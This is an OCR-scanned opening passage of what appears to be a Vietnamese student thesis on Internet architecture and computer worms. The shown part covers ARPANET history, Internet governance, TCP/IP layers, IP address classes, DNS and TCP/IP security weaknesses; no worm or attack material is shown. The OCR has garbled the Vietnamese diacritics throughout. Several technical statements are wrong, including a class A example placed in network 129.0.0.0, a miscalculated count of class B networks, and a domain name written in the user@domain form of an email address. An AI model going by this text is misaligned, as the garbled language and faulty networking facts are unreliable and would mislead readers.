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LOI MO PAU

Trong nhitng ndm gan day nganh céng nghé thong tin dwgc nhiéu nude
chu trong dic biét. Béi vi nhu chiing ta dd biét thé gidi hom nay 1a thé giéi cua
thong tin. Moi giao dich budn ban gan nhu déu dugc trao d6i trén mang toan
cau Internet. Chinh Internet di dem lai loi nhuén cho nhiéu nguoi biét st dung
khai thac n6. Cung véi nhitng 1¢1 ich to 16n ma Internet dem lai, cling ndy sinh
nhimg van dé vo cling phuc tap. Cac thong tin ca nhan, thong tin kinh t& quan
trong cua cac to chtrc bi 10, tai khoan ngan hang bi danh cip, cac hé théng luu
co s& dir lieu quan trong bi pha hoai...nhiéu cudc tan cong cua cac tin tic da
gay thiét hai hang ty do la cua thé giéi.

Mot trong nhitng loai virus may tinh gay thiét hai dén kinh té, xa hoi va an
ninh trén mang hién nay d6 chinh la st dung cac loai sau may tinh (worm). Sau
may tinh duoc két hop véi mot s6 ki thuat tin cong khac sé tao nén mot kha ning
rat manh ddi v6i ké tin cong. Chiang co thé tu dong len 16i tim dén cac muc tiéu
(may tinh dugc nbi mang) va lay cap nhiing thong tin tir myc tiéu ndy ma ngudi st
dung khong biét gi. VAy siu may tinh 1a gi? Cach thirc hoat dong ctia né nhu thé
nao? Vi sao nd co thé gy thiét hai hang ty d6 la? Cach phong chéng no ra sao?

Xuét phat tir nhitng 1y do trén em xin dugc tim hiéu dé tai : “Nghién ctru kién
trac mang Internet, sy 13y lan cia Worm va cach phong chéng” v6i noi dung:

— Tong quan vé kién triic mang Internet.

— Nam rd khai niém ctia sdu may tinh (Worm), su phat trién ciia sdu qua
cac thé hé, cach thic hoat dong cua sau. Cudi cung em dé xuit mot s6 bién
phap phong chéng.

— Tim hiéu mét s6 k¥ thuat ma nguoi viét ma sdu may tinh thuong st dung.

— Tim hiéu mét s6 cach thirc phat hién, phong chéng cac loai siu.

CHUONG I: TONG QUAN VE INTERNET

Tran Thi Thity Lép CT901 1
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1.1 Giéi thiéu vé Internet

1.1.1. Nguon goc cua Internet.
Internet 1a mot lién mang may tinh 16n c6 pham vi toan cau. N6 1a mot mang

clia cac mang bao gdm hang triéu may tinh trén toan thé gioi két ndi véi nhau.

Vé ngudn gdc, tién than cta Internet 1a mang ARPANET. Thang 6/1968,
Cuc cac du an nghién ctru tién tién (Advanced Research Projcets Agency - viét
tat Ia ARPA) da xay dung du an két ndi cac trung tim may tinh 16n trong toan
lién bang. Mua thu nam 1969, 4 tram dau tién duoc két ndi voi nhau thanh
cong, danh ddu su ra doi cia ARPANET. Giao thirc truyén théng dung trong
ARPANET luc d6 duge dat tén 1a Network Control Protocol (viét tit 1a NCP).
Tuy nhién, xuat phat tir nhu cau thuc té, cac nha thiét ké ARPANET ngay tir
budi dau do cling da nhan thic dugc can xay dung mot “mang cuia cac mang
may tinh”. Gitra nhitng ndm 70, by giao thirc TCP/IP dugc Vint Cerf va Robert
Kahn phat trién, ban dau cung ton tai véi NCP va dén nam 1983 thi hoan toan
thay thé NCP trong ARPANET

Nam 1984, Bo qudc phong My chia ARPANET thanh hai phan:
ARPANET str dung cho nghién ctru khoa hoc va Milinet st dung cho quan doi.
Budc ngodt trong lich st Internet xay ra khi Uy ban khoa hoc quéc gia cia
M§(viét tait NSF) bao tro cho 5 trung tdm siéu mdy tinh cia toan lién bang va
két ndi chung v6i nhau thanh mét mang xuwong séng. Nam 1987, mang NSFnet
ra doi véi tdc do duong truyén nhanh hon. NSFnet cho phép ndi 7 mang mai
v6i cac trung tdm siéu may tinh noi trén. Sy xuat hién cia mang xuong séng
NFSnet va cdc mang ving da thuc ddy manh mé sy ting trudng cua Internet.
Mot xa 16 thong tin dugc hinh thanh véi sy tham gia cua nhiéu trudng dai hoc,
nhiéu hoc vién nghién ctru, cac to chirc chinh phtl va ca gidi kinh doanh trong
cong dong Internet. V& mit dia 1y, Internet cling nhanh chong vuon tam ra khoi
nudc My, tré thanh mot mang toan cau phuc vu hang chuc tri€u nguoi dung

trén toan thé gioi.
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1.1.2.Quan ly Internet.
Thyc t€ 1a khong c6 modt co quan quan ly toi cao cho toan bd mang

Internet trén toan thé gidi. Mot té chirc co vai tro diéu phdi tdi cao cac hoat
dong cua Internet 1a Hiép hoi Internet (Internet Society — viét tit 1a ISOC). Pay
1a mot t6 chuc phi loi nhuan tap hop cac ca nhan va td chuc tu nguyén tham gia
vao cac hoat dong nham khuyén khich va phat trién, sir dung Internet trén toan
thé gidi. Co quan lanh dao cao nhat ctiia ISOC 1a ban kién trac Internet (Internet
Architeture Boad — viét tit 1a IAB). IAB hop déu din dé xem xét cac chuan lién
quan va cac quy dinh vé cap phat tai nguyén (nhu dia chi chang han). Mot to
chtrc tu nguyén khac trong khudn khé IAB, dugc goi 1a Tiéu ban dic nhiém k§
thuat Internet (Internet Engineering Task Force — viét tat 1a IETF) chiu trach
nhiém vé cac van dé k¥ thudt va tac nghiép cua Internet. Khi c6 mot van dé
duoc coi 1a di quan trong thi IETF 14p ra mot nhom lam viée dé tiép tuc nghién
ctru. Moi ngudi déu co thé tham du cac cudc hop ciia IETF va tham gia vao cac
nhom lam viéc.

Viéc phan phéi dia chi cho cac mdy tinh ciia nguoi st dung (host) ndi
vao Internet ban dau do chinh ISOC truc tiép dam nhiém. Nhung tir ndm 1992,
do sy tang trudng qua nhanh cta Internet nén cong viéc d6 duge phan cip cho
cac trung tim thong tin mang (Network Information Center — viét tat 1a NIC)
cua cac khu vuc dam nhan. NIC cua khu vuc Chau A Thai Binh Duong — goi
la APNIC — ¢6 tru so tai Tokyo, Nhat Ban. ISOC khuyén khich phan cép cac
NIC cho timg qudc gia, va hién nay Viét Nam ciing da thanh 1ap VNNIC chiu
trach nhiém diéu hanh va phan phdi dia chi cho cac host ctia minh.

1.1.3. C4c dich vu mitc 1ing dung ban dau trén Internet ‘
Thu dién tor (Electronic mail) cho phép ngudi dung ngdi trude may tinh

tai nha minh gui E-mail t6i bat ctr ai & dau trén thé gidi néu ho c6 dia chi E-
mail. Ho ¢ thé tham gia cic nhom thao ludn (discussion group) vé nhiing dé tai

khac nhau hay bat ddu mot nhém méi vé nhing chii @& ma ho wa thich.
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Truyén file (File Transfer) néu can mot chuwong trinh phan mém méi nhu
cac tién ich nén file, cdc chuong trinh diét virus, mot phﬁn mém trd choi, hinh
anh hay am thanh, nguoi ding c6 thé tai xudng bat ctr luc nao voéi File Transfer

Truy nhéap tir xa (Remote login) c6 1& diéu thu vi nhat trong cac tmg dung
cua Internet 13 Remote login, né cho phép ngudi dung két ndi vao mot mdy tinh
& xa nhu mot tram cudi dé st dung may tinh do.

Ngay nay, nhiéu dich vu Internet di duoc phat trién va tng dung. Do 14 :

e Thu dién tr

o W.W.W (world — wide — web)
e FIP (File Transfer Protocol)

e Telnet

e Video—IP

e V.V...

1.1.4. Dich vu murc mang cua Internet
Mot 1ap trinh vién viét chuong trinh ing dung trén Internet can cd6 mot cai

nhin khéc v6i nguoi chi don gian stir dung dich vu Internet. O ting mang Internet
cung cap 2 kiéu dich vu ma cac tmg dung ctia Internet thuong dung d6 13

Dich vu truyén khong két ndi (Connectionless Paket Delivery Service) 1a
mot phuong thirc truyén dir liéu ma cic mang chuyén mach géi cung cap. Diéu
nay chi don gian 1a mang Internet chuyén cac goi tin tir may ndy sang may khac
dua vao thong tin dia chi ctia goi dén dich ctia né. Viéc chia nhé goi tin truyén
nay c6 mot loi diém 1a néu mot duong di bi ban hodc bi dat, thi cac goi tin co
thé duoc truyén theo mot hudng khac.

Dich vu truyén tin cay (Reliable Stream Transport Service) phan 16n cac
tmg dung doi hoi nhiéu dich vy hon chi truyén thong khong két néi boi vi
ching can tu dong sura 161, kiém tra tinh toan ven cta thong tin truyén di trén

mang. Reliable Stream Transport Service giai quyét van dé nay cho ta.
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1.2. B¢ giao thuc TCP/IP

Dé truyén thong giita cic may tinh trén mang Internet ngudi ta phai
thong nhat v4i nhau cac quy tic, quy udc dé lién lac, truyén thong, dugc goi la
cac giao thuc. B giao thic ma Internet st dung 1a TCP/IP, thuc chit 1a mot bo
giao thirc cung lam viéc voi nhau dé cung cdp phuong tién truyén thong trén
mang. N6 bao gdm nhiéu giao thirc thyc hién cc chtrc ning khac nhau, trong
d6 co hai giao thirc quan trong nhat dugc dung dé dit tén cho ca bo giao thirc 1a
TCP (Transmission Control Protocol) va IP ( Internet Protocol).
1.2.1 Gioi thiéu ‘

B0 giao thirc TCP/IP cho phép cac may tinh vé1 du loai kich ¢, tir nhiéu
hang san xuat khac nhau, chay trén cac hé diéu hanh hoan toan khac nhau cd
kha ning truyén thong, lién lac duoc v6i nhau. Kha ning nay 13 hoan toan vuot
xa so vo1 nhitng du tinh ban dau. Puoc bit dau cudi nhitng nam 1960 nhu la
mot du 4n nghién ctru vé cac mang chuyén mach goi, cho téi nhitng nim 1990,
TCP/IP d3 tré thanh cach thirc ndi mang mdy tinh duoc str dung rong rai nhat.
TCP/IP thuc su la mot hé théng mé & chd dinh nghia ciia bd giao thuc va
nhiéu cai dit cia né déu duoc cong khai va san sang cung cap. Chinh TCP/IP
da hinh thanh co s& cho lién mang toan ciu (Internet), mot mang di¢n rong
(WAN) v6i hang triéu mdy tinh trén khap thé gidi n6i véi nhau.

1.2.2. Phan tang.
Céc giao thirc mang thuong duoc phat trién theo cac tang, moi tang chiu

trach nhiém vé mot khia canh khac nhau cta viéc truyén thong, lién lac. Mgt bo
giao thire, nhu TCP/IP chang han, 1a sy két hop ctia nhiéu giao thirc khac nhau
thudc nhiéu tang chirc nang. TCP/IP thuong dugc xem nhu mot hé théng 4
tang, duoc mo ta trong hinh 1.1 dudi day.
Churc nang cua cac lop cua bo giao thirc TCP/IP:
1. Lop Link, d6i khi con dugc goi 1a 16p data _ link hoac network
interface, thuong bao gém trinh diéu khién thiét bi trong hé diéu hanh va card

giao tiép mang twong Gng trong may tinh. Chiing cting nhau xt 1y tt ca cac chi
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tiét phan cung ciia cac giao tiép vat 1y voi cable ( hodc bat cir kiéu phuong tién

trung gian nao khac dugc st dung).

Application Telnet, FTP, e — mail, etc
Transport TCP, UDP

Network IP, ICMP, IGMP

Link Device driver and interface card

Hinh 1.1: Bon 16p ctia bd giao thirc TCP/IP

2. L&p Network (d6i khi con goi 1a 16p lién mang — internet) xu ly viéc
van chuyén cac goi tin qua mang. Vi du nhu dan duong cho cac goi tin chang
han. IP (Internet Protocol), ICMP (Internet Control Message Protocol) va IGMP
(Internet Group Management Protocol) cung cap 16p mang trong bd giao thirc
TCP/IP,

3. L6p Transport cung cap dong dir liéu gitta hai host cho 16p tmg dung
bén trén. Trong bg giao thirec TCP/IP c6 hai giao thirc Transport khac biét nhau:
TCP va UDP.

1. TCP cung cap dong dir liéu tin cdy giita hai host. N6 nhan di
liéu dén tir cac Gmg dung va chia thanh cac khic (chunk) co kich thuéc thich
hop cho 16p network bén dudi, bdo nhan cac goi tin nhan duoc, thiét 1ap
timeout dé chic chan ring mot dau cudi khac béo nhan cac goi tin da duoc giri
roi, ... Bai vi 16p transport cung cap dir liéu tin cay nén 16p tng dung c6 thé bo
qua, khong dé y dén nhimg chi tiét nay.

2. UDP lai khac han, cung cép cho 16p ung dung cac dich vu don
gian hon nhiéu. N6 chi giri cac goi dir liéu goi 13 datagram tir host nay téi host
khac, ma khong dam bao rang cac géi tin d6 s& dén duoc dich. Cac chirc ning
dam bao tin cdy chi c6 thé duoc thém vao & 16p tmg dung.

Do d6, mdi loai giao thic nay duoc st dung bdi cac timg dung khac

nhau.
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4. Lép Application xir Iy cac chi tiét ciia mot img dung ddc trung. C6

nhiéu tmg dung TCP/IP thong dung ma hau hét cac cai dat cung cip:

Telnet cho dang nhap tur xa.

FTP (File Transfer Protocol) giao thirc truyén tép.
SMTP (Simple Mail Transfer Protocol) cho thu dién ttr.
SNMP (Simple Network Mannagement Protocol)

va rat nhi€u cac ung dung khéc nira

Chung ta ¢ thé so sanh kién truc 4 ting caa TCP/IP véi kién trac 7

tang ctia md hinh tham chiéu OSI ( Open System Interconnection)

Appli

cation Layer

Presentation Layer Application Layer

Session Layer

Transport Layer Transport Layer
Network Layer Internet Layer
Data link Layer Link Layer
Physical Layer

Néu c6 hai host trong mot mang cuc bo (Local Area Network — LAN),

nhu mot Ethernet chrfmg han, cung chay FTP, hinh 1.2 chi ra cac giao thuc lién

quan:

Cac tien Xir ly cac

FTP protocol trinh nguoi  chi tiét

FTP
client

Tran Thi Thi

FTP
server
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dung ung dung
Transport
TCPprotocol e
Network
Kvernel Xir ly cac
IP protocol chi tiét
Application lién lac
Ethernet protocol
Link

Hinh 1.2: Hai host trén mgt LAN cung chay FTP

Chung ta gan nhan cho hai tng dung 1a FTP client va FTP server. Hau
hét cac tmg dung mang dugc thiét ké sao cho mot phia 1a client va phia kia 1a
server. Server cung cip mot s6 loai dich vu cho cac client, trong truong hop nay
la truy nhap td1 cac tép trén server host. Trong tng dung dang nhap tu xa,
Telnet, dich vu cung cép cho client 13 kha ning truy cip tdi cac host ctia server.

Mdi 16p c6 mot hodc nhidu giao thic dé truyén théng voi 16p ngang hang
v6i no. Trong vi dy, mot giao thue cho phép hai 16p TCP lién lac véi nhau, va
mot giao thirc khac nhau cho phép hai 16p TCP lién lac véi nhau, va mdt giao
thirc khac cho phép hai 16p IP lién lac v61 nhau.

Bén phia phai cua hinh 1.2 ta thdy rang thong thudng 16p ung dung la
mot tién trinh cta ngudi dung trong khi ba 16p thap hon thuong duoc cai dat
trong nhan (kernel) hé diéu hanh. Mic du khong phai 1a mot yéu cau bat budc,
n6 mang tinh dién hinh va ciing 1a cach duoc hién dudi hé diéu hanh Unix.

C6 mot su khac nhau nira gitra 16p trén cung trong hinh 1.2 va ba l6p bén
dudi. Lop ung dung thi quan tAm t6i cac chi tiét vé tmg dung va khong quan
tam t6i viéc van chuyén dir liéu di qua mang. Ba 16p bén dudi khong biét gi vé

g dung nhung chung lai xir 1y tat ca cac chi tiét vé truyén thong.
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Chung ta thé hién bén giao thic trong hinh 1.2 ¢ bon tang khac nhau.
FTP 14 giao thirc cia tang ung dung (Application), TCP 1a giao thirc cia ting
van chuyén (Transport), IP 12 giao thirc ctia ting mang (Network) va Ethernet 1a
giao thirc hoat dong & tang lién két (Link). B9 giao thirc TCP/IP, nhung TCP va
IP chi 1a hai trong sb cac giao thirc cua bo giao thic d6. Ta c6 thé thay ro diéu
nay qua hinh v& bén dudi. Cac giao thic trong hinh bao gom:

— FTP (File Transfer Protocol): Giao thirc truyén tép cho phép nguoi ding
14y hodc giri tép toi mot may khéc.

— Telnet: Giao thirc dang nhap tir xa cho phép nguoi dung tur tram lam viéc
ctia minh c6 thé login vao mot tram & xa qua mang va lam viéc voi hé théng y
nhu 1a mot tram cudi ndi truc tiép voi tram & xa do.

— SMTP (Simple Mail Transfer Protocol): Giao thirc thu tin dién tur.

— DNS (Domain Name Server): Dich vu tén mién cho phép nhan ra may
tinh tir mot tén mién thay cho chudi dia chi Internet kho nho.

— SNMP (Simple Network Management Protocol): Giao thitc quan tri
mang cung cip nhitng cong cu quan tri mang.

— RIP (Routing Internet Protocol): Giao thirc dan dudng dong.

— ICMP (Internet Control Message Protocol): Giao thuc diéu khién thong

bao.

— UDP ( User Datagram Protocol): Giao thirc truyén thong khong két ndi
cung cap dich vu truyén khéng tin cdy nhung tiét kiém cho phi truyén.

— TCP (Transmission Control Protocol): Giao thirc c6 két ndi cung cap dich
vu truyén thong tin cay.

— IP (Internet Protocol): Giao thic Internet chuyén giao cac géi tin qua
mang téi dich.

— ARP (Address Resolution Protocol): Giao thtrc chuyén dia chi TCP/IP

thanh dia chi vat Iy ctia cac thiét bi mang.
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Ting mang
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Kién tric cia TCP/IP

Muc dich ciia 16p giao tiép mang va 16p Gmg dung rat rd rang. Lép giao
tiép mang xur 1y cac chi tiét vé phuong tién truyén thong (Ethernet, Token Ring,
...) trong khi 16p tmg dung xr Iy mét ung dung nguoi dung dic trung (FPT,
Telnet, ...). Nhung ddi voi 10p van chuyén va 16p mang, sy khac nhau khi nhin
thoang qua la khéng r6 rang.

Mot trong nhitng 1y do giai thich cho sy 16n manh phi thuong cua viéc
nbi mang trong nhimg nam 1980 1a sy nhan thirc 16 duoc: Mot may tinh dung
don 16 nhu mot hon dao s& khong mang lai may y nghia. Mot vai hé théng dung
mot minh ( stand - alone) dugc tap hop vdéi nhau hinh thanh nén mgt mang
(network). Trong khi thuc hién diéu nay, subt nhitng nam 1990, chung ta lai
nhan ra rang: Hon ddo mdi bao gdm mot mang don, du 16n hon nhimng ciing
khong phat huy dugc hét nhimng kha ning tiém tang. Vi thé, nguoi ta da két hop
nhiéu mang lai v6i nhau, hinh thanh nén mét lién mang (internet). Mot lién

mang 13 tap hop nhiéu mang cung sir dung chung mot bo giao thc.
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Céch dé nhat dé xay dung mot lién mang 14 két nbi hai hay nhiéu mang
bang mot router. Pay 13 mot thiét bi phan cimg c¢6 chirc ning dic biét dé két ndi
cac mang. Uu diém cua router 13 nd c¢6 thé két ndi nhiéu mang loai mang vat Iy
khac nhau: Ethernet, Tolen Ring, cac lién két diém — diém (point to point),
FDDI ( Fiber Distributed Data Interface), ... Cac thiét bi nay ciing con duoc goi
1a IP router, nhung ta thuong sur dung thuat ngir router.

Trong lich str, cac thiét bi ndy duoc goi 1 cac gateway. Thudt ngit ndy
dugc sir dung rat nhidu khi néi vé TCP/IP. Ngay nay, thuat ngit “ Gateway”
duoc st dung cho mdt gateway tmg dung: Mot tién trinh két ndi hai bo giao
thirc khac nhau ( nhu TCP/IP va SNA cua IBM) cho mét ing dung riéng biét
dic thu (thuong 12 email hodc truyén file).

Hinh 1.3 m6 ta mot lién mang gém hai mang: Mot Ethernet va mot
Token Ring, két ndi qua mot router. Mic du chi thé hién 14 ¢6 hai host lién lac
v6i nhau, nhung véi router két ndi hai mang, bat ky host nao cua Ethernet ciing
c6 thé lién lac véi bat ky host nao cia Token Ring.

Trong hinh 1.3, ta c¢6 thé phan biét rd rang gitta mot hé théng cudi
(end_system, 1a hai host ¢ hai phia) va mot hé thong trung gian (mét router &
giita). Lop van chuyén va 16p tng dung st dung céc giao thic end — to — end.
Hai 16p nay chi can trén cac hé théng cudi.

Trong bo giao thire TCP/IP, 16p mang, IP, cung cap dich vu khong tin
cdy. Boi vi, n6 chi thyc hién chuyén mot goi tin tir ngudn t6i dich cudi cling ma
khong c6 sy dam bao nao. TCP thi khac, cung cap giao thirc tAing mang tin ciy
st dung dich vu khdng tin cay cua IP. Pé thuc hién diéu nay, TCP thi hanh
timeout va truyén lai, giri va nhan cac bao nhan end — to — end, ...T?mg van

chuyén va tang mang c6 nhiing nhiém vu riéng biét.

FTP FTP protocol FTP
. L >
client Server
A A
Trar-=-Y=*, Lép CT901 Y 11
Tep ol TCPprotocol . J Tcp
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Ethernet

Hinh 1.3: Hai mang két ndi qua mét Router
Mot router, theo dinh nghia, c6 hai hay nhiéu card giao tiép mang (vi 1&
n6 két ndi hai hoic nhiéu mang). Bat ctr hé théng ndo c6 nhiéu giao tiép déu
duoc goi 1a multihimed. Mot host cling ¢6 thé 1a mot multihomed chi khi n6 ¢
dic trung 1a chuyén tiép cac goi tin tir mot giao tiép nay toi mot giao tiép khéc,
n6 khéng duoc goi 13 router. Ngoai ra, cac router khong can phai 1a cac thiét bi
phan cimg dic biét chi 1am nhiém vu chuyén cac goi tin tir mot giao tiép nay téi
mot giao tiép khac, nd khong duoc goi 1a router. Hau hét cac cai dat caa TCP/IP
cho phép mot multihomed host hoat dong nhu mot router, nhung host can duoc
cau hinh dic trung dé thyc hién diéu d6. Trong trudng hop ndy, ta c6 thé goi hé
thong d6 hodc 1a mot host (khi mot tng dung nhu FTP hay Telnet duoc st
dung), hodc 13 mét router (khi nd chuyén tiép cac goi tin tir mdt mang téi mang
khac).
Mot trong nhitng wu diém 16n ctiia mot lién mang 1a nd che gidu tat ca
nhing chi tiét vé vat 1y cta lién mang khoi cac ung dung. Mic du diéu nay la
khong duoc thé hién 16 rang & lién mang c6 hai mang trong hinh 1.3, cic tang

tmg dung khéng thé quan tdm (va khong quan tdm) rang host nay trén Ethernet,
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host kia trén Token Ring voi mot router & gitta. C6 thé co t6i 20 router & giira,
v6i cac két ndi vat 1y thém vao, thi cac ing dung van chay nhu nhau.

Mot cach khac dé két nbi cac mang véi bridge (cau ndi). Ching két ndi
cac mang ndy & 16p link, trong khi router két ndi cac mang & 16p network. Cac
bridge 1am cho nhiéu mang LAN ndi v6i nhau trd nén c6 vé nhu 1a chi mot
mang LAN dbi véi cac 16p & bén trén. Cac lién mang TCP/IP hudng t6i sir dung
router thay cho céc bridge.

1.2.3. Pia chi Internet
Moi giao ti€p trén lién mang phai c6 mdt dia chi Internet duy nhat (con goi

|a dia chi IP). Céc dia chi nay la cac s 32 — bit. Thay vi sir dung khong gian dia
chi phéing nhu 1, 2, 3, ... ta c6 mot cau trac cho cac dia chi Internet. Hinh 1.5
thé hién 5 16p khac nhau cua céc dia chi Internet.

Céc dia chi 32 — bit nay thuong dugc viét thanh 4 s thap phan, mdi so dai
dién cho mot byte dia chi.

Cach dé nhét dé phan biét giira cac 16p dia chi khac nhau 14 nhin vao sé dau
tién cua dia chi viét dudi dang s6 thap phan véi dau cham. Hinh 1.6 thé hién cac
16p dia chi mang khac nhau véi s6 dau tién ¢ dang in dam.

N6i ngan gon, mot multihome host s& c6 nhiéu dia chi IP: Mdi giao tiép c6
mot dia chi. Bo1 vi moi giao tiép trén mot lién mang déu phai ¢c6 mot dia chi IP
duy nhat, cho nén, phai c6 mét to chtc trung tdm chiu trach nhiém cap phat cac
dia chi nay cho cac mang két ndi vao Internet toan cau. o 1a Internet Network
Information Center, dugc goi 13 InterNIC. N6 1am nhiém vu cip phat, an dinh
cac ID mang (netid) duy nhét. Viéc cdp phat cac ID may ( host ID) danh cho

cac quan tri vién hé thong.

7 bits 24bits
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Lép A Netid Hostid
14 bits 16 bits
Lop B 0 Netid hostid
21 bits 8 bits
Lop C 110 Netid hostid
Lép D 1 (110 Multicast group ID
27 bits
Lép E 11 |1 (reserved for future use)
Hinh 1.5: Nam l6p dia Internet khac nhau
Lop Pham vi dia chi
A Twr 1.0.0.0 t61 127.255.255.255
B Twr 128.0.0.0 t6i 191.255.255.255
C Twr 192.0.0.0 t6i 223.255.255.255
D Twr 224.0.0.0 t61 239.255.255.255
E Twr 240.0.0.0 td1 255.255.255.255
Hinh 1.6: Pham vi cuaa cac lop dia chi IP khac nhau
Dia chi lop A

Tran Thi Thity Lép CT901
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L6p A sir dung byte dau tién ciia 4 byte dé danh dia chi mang nhu hinh
trén, n6 nhan ra bai bits dau tién trong byte dau tién cua dia chi ¢ gia tri 0.3
byte con lai duge sir dung dé danh dia chi may trong mang.

C6 126 dia chi 16p A (duoc danh dija chi trong byte thir nhat) véi sé may
tinh trong mang 1a 256° - 2 =16.777.214 may cho mdi mot dia chi 16p A (do sir
dung 3 bytes dé danh dia chi may). Dia chi 16p A thudng duoc cip cho nhiing
t6 chtrc ¢6 sb lugng may tinh 16n.

Nguyén nhan chi c6 126 networks trong khi dung 8 bits vi bits dau tién
mang gia tri 0 ding dé dinh nghia 16p A vay con lai 7 bits danh so tir 0 -127 tuy
nhién nguoi ta khong sir dung mot dia chi chira toan cac con s6 1 hodc 0 do vay,
chi con lai 126 mang 16p A duogc str dung. Do vay gid tri byte dau tién cua dia
chi 16p A s& ludn luén nam trong khoang tir 1 téi 126, mdi mot byte trong 3
byte con lai s& co gia tri trong khoang 1 dén 254.

Dbi v6i viée chi ¢o 16.777.214 may trong khi str dung 24 bits danh dia chi
may trong mang cling dugc giai thich tuon tu.

Dia chi 16p A c6 dang: <Network.Host.Host.Host>

Véi con s6 thap phan dau tién nho hon 128
Vi du 9.6.7.8: Nut duoc gan Host ID 14 6.7.8, nam trong mang 16p A c6 dia chi

129.0.0.0
Dia chilop B

Mot dia chi 16p B duoc nhan ra boi 2 bits dau tién ciia byte thir nhat
mang gia tri 10. Lop B st dung 2 byte dau tién cua 4 byte dé danh dia chi mang
va 2 byte cudi danh dia chi may trong mang.

C6 64 * 256 — 2 =16.128 dia chi mang 16p B vé6i 65.534 may cho mdi
mot dia chi 16p B.

Dia chi 16p B c6 dang: <Network. Network.Host.Host>

Byte dau tién cia mot dia chi 16p B nam trong khoang 128 t&i 191.

Vi du: 190.2.2.1: Nat duoc gan Host ID 14 2.1, ndm trong mang 16p B ¢
dia chi 1a 190.2.0.0
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Dia chilop C

Mot s6 t6 chirc cd quy md nhé c6 thé xin cap phat dia chi 1op C. Mot dia
chi 16p C duoc nhan ra véi 3 bits ddu mang gia tri 110. Mang 16p C st dung 3
byte ddu dé danh dia chi mang va 1 byte cudi danh dia chi may trong mang. C6
2.097.150 dia chi 16p C, mdi dia chi 16p C c6 254 may.

Dia chi 16p C c6 dang: <Network. Network. Network.Host>

Dia chi 16p C duoc nhan ra véi byte dau tién trong khoang 192 téi 223

Vi du: 200.6.5.4: Nut duoc gan Host ID 1a 4, nim trong mang 16p C co
dia chi 1a 200.6.5.0
Dia chilop D

Dia chi mang 16p D thi s& chay trong dai 224.0.0.0 dén 239.255.255.255
khi ta quy d6i ra cach doc bang s thap phan. Cac dia chi mang 16p D dung cho
muc dich multicast, khac véi cac dia chi 16p A, B, C. Nhu vay chung ta s€ co
268.435.456 cac nhdm multicast khac nhau.

Dia chilop E

Pia chi mang 16p E thi s& chay trong dai 240.0.0.0 dén 255.255.255.255
khi ta quy d6i ra cach doc bang sd thap phan. C6 thé thay dia chi
255.255.255.255 1a mot dia chi dac biét va duoc st dung cho muc dich dac biét
khac. Céc dia chi mang 16p E dung cho muc dich trong tuwong lai chtr hién nay
chua dugc st dung.

1.2.4. Dich vu tén mién(Domain Name Service - DNS)

Viéc dinh vi cac may tinh trén mang b?mg cac dia chi IP ¢6 nhiéu loi
diém nhu da trinh bay ¢ phan trén, tuy nhién voi nguoi st dung, viéc nhd cac
con sd do 1a mot viée té nhat kho chiu. Hon nira, dja chi IP khong mang thong
tin vé dia 1y, to chirc hay ngudi dung. Vi thé, nguoi ta xay dung hé théng dit
tén goi la Domain Name Server dé cung cap cho ngudi dung cach dit tén cho
cac may tinh vo1 cach dat tén thong thuong quen thude.

Mot Domain name thong thuong cé dang:

Tén_nguoi dung@Tén mién
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Vi t€n mién duoc phan cap lam cac cap noi voi nhau bdi dau “.”. Tén
mién dugc NIC cung cap

Tén mién cao nhit 1a cip quoc gia dwoe dit béi 2 chir cai: vi du

ar: Argentina

e at: Austria

e au: Australia
e Dbe: Belgium

e ca: Canada

e cn: China

e de: Germany
e es: Spain

e fr: France

e gb: Great britain
e hk: Honkong
o il: Ixrael

o it: ltaly

e jp:Japan

e Kkr: Korea

e |u: Luxembourg
e my: Malaysia
e no: Norway

e vn: Viét Nam
.

Néu khong c6 gi thi dugc hiéu nhu thude USA
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Mikc tiép theo chi linh vue hoat dong:
e edu:Giao duc
e gov: Chinh phu
e com: Thuong mai
e mil: Quan su
e org: Cac to chirc phi loi nhuan
e net:Cac t6 chuc phat trién mang

Sau d6 c6 thé 13 tén cong ty va tén mdy tinh.

vn
// \\\
gov edu com mil org nic
VAN
vnuh hut vdc fpt
/
fit

Phan cap domain name

Mot may tinh ¢ thé c¢6 nhiéu tén nhung trén mang, mdi tén 1a duy nhét.
Viéc anh xa dia chi IP vao tén mién duoc thuc hién boi cac Name Server cai dit
tai may Server va Name Resolver cai dat trén may tram.

Cac dich vu ding ky cho Internet (cac dia chi IP va cac tén mién DNS)
trude day dugc NIC xir ly, tai nic.ddn.mil. Ngay 01/04/1993, InterNIC dugc
sang 1ap. Hién nay, NIC chi xur 1y cac yéu cau cho mang dit liéu qudc phong
My (Defense Data Network — DDN). Tt ca ngudi dung Internet khac st dung

cac dich vu dang ky ctia InterNIC tai rs.internic.net. Thuc ra InterNIC c¢6 cac bo

phan: cac dich vu dang ky (rs.internic.net), cac dich vu thong tin

(rs.internic.net). Co ba loai dia chi IP: Dia chi unicast (danh cho mét host don),
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broadcast (danh cho tat ca cac host trén mot mang cho trudc), va multicast

(danh cho mot tap hop céac host thudc vé mot nhém multicast).

1.2.5. Nhwgc diém ciia TCP/IP 7 ,
Giao thirec TCP/IP 1a giao thitc dugc phat trién nhanh nhat tir thap nién 90

try lai day. Hién nay, giao thirc TCP/IP hoan toan thdng tri trén mang Internet.
Chinh viéc st dung rong rdi ctia n6 lam cho bat ky s& hd nao vé an toan cua
TCP/IP ciing déu gy anh hudng to 16n. Do k§ thuat TCP/IP dung cho thong tin
s6 liéu ma né 13 mang khong co két ndi (connectionless), khi goi tin sd lidu di
qua mang truyén dan, n6 khong dung mét duong di dugc chi dinh nao, cho nén
k¥ thuat TCP/IP khong thé dam bao chit luong phuc vu cho dau cudi tng dung.

Du k¥ thuat TCP/IP trén phuong di¢én mang da thu dugc thanh cong to
16n, nhung ciing cang boc 16 nhitng nhuoc diém cia nd. Giao thirc TCP/IP vao
thoi ky dau thiét ké con chua xét toi van dé an toan, hon thé nita thué bao va
nguoi quan li mang chua c6 day du khai niém khéng ché an toan mang, thém
vao d6 1a hé diéu hanh va chuong trinh Gmg dung ngay cang phirc tap, ngudi
phat minh ra n6 khong c6 kha ning phat hién ra tat ca cac so hd vé an toan, nén
hé thong may tinh duoc d4u trén mang c6 kha nang bi tn cong ac y va lay cap
thong tin tir bén ngoai. Pang sau viéc sir dung ngudn dir lidu giira cac loai may
tinh khac nhau, 13 su kich thich d6i véi tin tic nhung ciing lai 1am dau dau cac
chuyén gia an toan mang, khi ma su so hé va nhugce diém lién tiép xuat hién
nhu: Co ché nhan dang yéu kém, rat d& bi nghe trom hodc theo doi, dé bi Itra
khi may chi phuc vu mang LAN yéu kém, lap dit va khong ché phirc tap, dua
